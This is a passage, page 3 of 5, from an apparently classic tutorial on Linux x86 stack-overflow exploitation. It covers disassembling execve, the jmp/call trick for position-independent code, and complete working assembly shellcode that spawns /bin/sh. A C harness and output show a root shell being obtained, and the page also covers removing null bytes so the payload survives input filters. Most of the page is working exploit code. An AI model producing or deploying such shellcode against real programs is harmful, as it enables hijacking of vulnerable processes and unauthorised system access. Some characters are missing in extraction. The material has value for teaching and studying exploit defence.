|
Page 3 of 5
4.
Shellcode
To keep
it simple, shellcode is simply assembler commands, which we write
on the stack and then change the return address to return to the
stack. Using this method, we can insert code into a vulnerable
process and then execute it right on the stack.
So, let
us generate insertable assembler code to run a shell. A common
system call is execve(), which loads and runs any binary,
terminating execution of the current process. The manpage gives us
the usage:
int
execve (const char *filename, char *const argv [], char *const
envp[]);
Let us
get the details of the system call from glibc2:
# gdb
/lib/libc.so.6
(gdb)
disas execve
Dump of
assembler code for function execve:
0x5da00
<execve>: pushl %ebx
/* this
is the actual syscall. before a program would call execve, it
would
push
the arguments in reverse order on the stack: **envp, **argv,
*filename */
/* put
address of **envp into edx register */
0x5da01
<execve+1>: movl 0x10(%esp,1),%edx
/* put
address of **argv into ecx register */
0x5da05
<execve+5>: movl 0xc(%esp,1),%ecx
/* put
address of *filename into ebx register */
0x5da09
<execve+9>: movl 0x8(%esp,1),%ebx
/* put
0xb in eax register; 0xb == execve in the internal system call
table */
0x5da0d
<execve+13>: movl $0xb,%eax
/* give
control to kernel, to execute execve instruction */
0x5da12
<execve+18>: int $0x80
0x5da14
<execve+20>: popl %ebx
0x5da15
<execve+21>: cmpl $0xfffff001,%eax
0x5da1a
<execve+26>: jae 0x5da1d <__syscall_error>
0x5da1c
<execve+28>: ret
End of
assembler dump.
4a.
Making the code portable
We have
to apply a trick to be able to make shellcode without having to
reference the arguments in memory the conventional way, by giving
their exact address on the memory page, which can only be done at
compile time.
Once we
can estimate the size of the shellcode, we can use the instructions
jmp <bytes> and call to go a specified number of bytes back
or forth in the execution thread. Why use a call? We have the
opportunity that a CALL will automatically store the return address
on the stack, the return address being the next 4 bytes after the
CALL instruction. By placing a variable right behind the call, we
indirectly push its address on the stack without having to know
it.
0 jmp
<Z> (skip Z bytes forward)
2 popl
%esi
... put
function(s) here ...
Z call
<-Z+2> (skip 2 less than Z bytes backward, to POPL)
Z+5
.string (first variable)
(Note:
If you are going to write code more complex than for spawning a
simple shell, you can put more than one .string behind the code.
You know the size of those strings and can therefore calculate
their relative locations once you know where the first string is
located.)
4b. The
shellcode
global
code_start /* we'll need this later, do not mind it */
global
code_end
.data
code_start:
jmp
0x17
popl
%esi
movl
%esi,0x8(%esi) /* put address of **argv behind shellcode,
0x8
bytes behind it so a /bin/sh has place */
xorl
%eax,%eax /* put 0 in %eax */
movb
%eax,0x7(%esi) /* put terminating 0 after /bin/sh string */
movl
%eax,0xc(%esi) /* another 0 to get the size of a long word */
my_execve:
movb
$0xb,%al /* execve( */
movl
%esi,%ebx /* "/bin/sh", */
leal
0x8(%esi),%ecx /* & of "/bin/sh", */
xorl
%edx,%edx /* NULL */
int
$0x80 /* ); */
call
-0x1c
.string
"/bin/shX" /* X is overwritten by movb %eax,0x7(%esi) */
code_end:
(The
relative offsets 0x17 and -0x1c can be gained by putting in 0x0,
compiling, disassembling, and then looking at the shell codes
size.)
This is
already working shellcode, though minimal. You should at least
disassemble the exit() syscall and attach it (before the 'call').
The real art of making shellcode also consists of avoiding any
binary zeroes in the code (indicates end of input/buffer very
often) and modify it for example, so the binary code does not
contain control or lower characters, which would get filtered out
by some vulnerable programs.
Most of
this stuff is done by self-modifying code, as we had in the movb
%eax,0x7(%esi) instruction. We replaced the X with , but without
having a in the shellcode initially...
Let us
test this code... save the above code as code.S (remove comments)
and the following file as code.c:
extern
void code_start();
extern
void code_end();
#include <stdio.h>
main()
{ ((void (*)(void)) code_start)(); }
# cc -o
code code.S code.c
#
./code
bash#
You can
now convert the shellcode to a hex char buffer.
Best
way to do this is, print it out:
#include <stdio.h>
extern
void code_start(); extern void code_end();
main()
{ fprintf(stderr,"%s",code_start); }
and
parse it through aconv -h or bin2c.pl, those tools can be found
at:
http://www.dec.net/~dhg or
http://members.tripod.com/mixtersecurity.
|